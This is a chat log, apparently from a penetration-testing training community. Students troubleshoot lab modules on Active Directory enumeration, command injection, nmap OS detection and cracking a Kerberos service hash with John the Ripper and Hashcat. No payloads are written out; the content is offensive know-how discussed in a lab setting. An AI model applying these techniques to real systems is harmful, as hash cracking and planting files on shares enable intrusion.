this AD module goes on foooorever...

i better hit 50% hacker level by the time it's over with

[tropic hearth]

Question: Is Linux Fundamentals module out of date? Seems like a file that is assumed to exist once upon a time doesn't anymore...

I found myself a medium walkthrough that had the answers but even replicating their commands didn't yield what they got..and their answers work

[quiet trout]

the tree cmd? its not installed by default

[marsh echo]

yo guys i don't understand a things, my user htb-student has a permission read/write on the share Department Shares but i can't write my legit.lnk file why ??? https://academy.hackthebox.com/module/67/section/630

[quiet trout]

oh sorry file, not cmd, yeah theres a few small discrepancies

[tropic hearth]

not tree...the literal .conf file or .bak file isn't there....and my .log count should be 32 but when I actually run command chain it is 82...lol

I figure there must be some reason behind it

[next bronze]

permissions might not be inherited in sub directories

[marsh echo]

i tried write the file at c:/ but error

[wanton jasper]

This Command Injections Skills Assessment is killing me. I found a working payload last night to test whoami. Got up to finish finding the flag and building off of that. Now my payload does not work.

[marsh echo]

however in the IT path the user htb-student has access :/ ...

[midnight galleon]

IT & CS 101

[worldly pike]

hello i am stuck at this question. It didn't ask to start machine or something.
i have started machine and used the Ip in image but got result "Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn"
i tried the command (sudo nmap 10.129.2.18 -Pn -O )it show nothing about OS. sorry am new.

[wanton jasper]

Restarted like 5 times if thats what you mean

[midnight galleon]

it is asking you to get the answer from the last scan result. read it thoroughly and the text above it to get the answer

[worldly pike]

thank you i still didn't get so i guessed and the answer was correct but couldn't find out where it said the answer.

[midnight galleon]

check the hint, you will find the methodology that helps with determining the host os from the ICMP ping

[worldly pike]

I can't access to hint because i am using student subscription but Thank you i will do research about ICMP ping later

[midnight galleon]

hints are available for student's sub

guided mode is what isn't available

[worldly pike]

The whole time i been clicking it nothing happen now i see🫠

[wanton jasper]

Found I need to wake up more before attempting these things. I was targeting the wrong request this morning.

[foggy monolith]

John the Ripper is returning "No password hashes loaded (see FAQ)" on attempt to load the mssqlsvc hash in the AD Enum > Cross-Forest Trust Abuse from Windows section — any idea why this would be the case?

First hash I've ever had this problem with; everything else has worked properly with JtR.

Hash file was generated using the /outfile: option in Rubeus for context

[hushed sail]

you usually get that error if you load the wrong type of hash from the hash type you identified in your command

[foggy monolith]

Which one is it supposed to be? I'm using krb5tgs which has worked on every other hash in the module except this one.

[cloud urchin]

why are you using john instead of hashcat

[hushed sail]

i usually just identify the hash and use hashcat

https://hashcat.net/wiki/doku.php?id=example_hashes

[foggy monolith]

Because Hashcat isn't as accurate as it should be on my 6-year-old Polaris GPUs, despite me having 6 of them lined up.

Hashcat seems to work better on my M1 MacBook Pro; trying that next.

[hushed sail]

report back if works

[foggy monolith]

Worked like a charm. Yeah, for whatever reason this was the first hash that I absolutely needed Hashcat for; everything else worked fine with John up until this point.

[sick whale]

Don't spoil username 🙂
Have you clicked around in the file explorer ?

(Can't remember if username is given by the assessment or not, apologies if it is and it's not a spoil)

[uncut ocean]

lol

thanks man

[sick whale]

Got it haha ?

[uncut ocean]

ya imma stupid

[sick whale]

Most stupid flag of the modules hahaha

I was expecting another long step etc... and then oO

[next bronze]

mate you're really spoiling the heck out of AEN, most people would like to do it blind, avoid spoilers please

also the module itself is a walkthrough, if you're stuck, you can refer to that

[sick whale]

Question (not related to modules, but still relevant here I think):

Anyone has a terminal trick to delete/replace arguments in a command?
I know I can use variables like export IP = so that in my history, commands come up with $IP, but what about a way to just select and "paste over" ? Any ideas?